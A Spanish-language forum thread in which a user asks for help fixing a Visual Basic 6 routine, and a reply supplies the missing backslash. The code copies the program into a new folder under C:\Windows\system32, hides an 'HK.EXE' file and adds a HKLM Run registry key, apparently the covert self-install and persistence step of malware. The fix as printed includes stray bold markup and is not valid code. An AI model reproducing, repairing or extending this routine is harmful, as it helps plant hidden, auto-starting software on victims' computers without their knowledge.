Haber tengo esto y me da un error diciendo File Not Found y Se me pone en amarillo toda esta fila: FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & App.EXEName & ".exe"
Ayuda!!! k Estoy k siempre me da algo Raro!!
Private Sub Form_Load()
Set sh = CreateObject("WScript.Shell")
Set ficheros = CreateObject("Scripting.FileSystemObject")
ficheros.CreateFolder "C:\Windows\system32\Private System"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\Private System" & App.EXEName & ".exe"
Call SetAttr("C:\Windows\system32\Private System" & "\HK.EXE", vbHidden)
sh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Private System", "C:\Windows\system32\Private System\HK.exe"
End
End Sub
Hmmmm.... hay que poner algun modulo??? XDDD
Te da error porque es así:
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & [b]\[/b] & App.EXEName & ".exe"
No así:
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\System32\Private System" & App.EXEName & ".exe"
Te faltaba \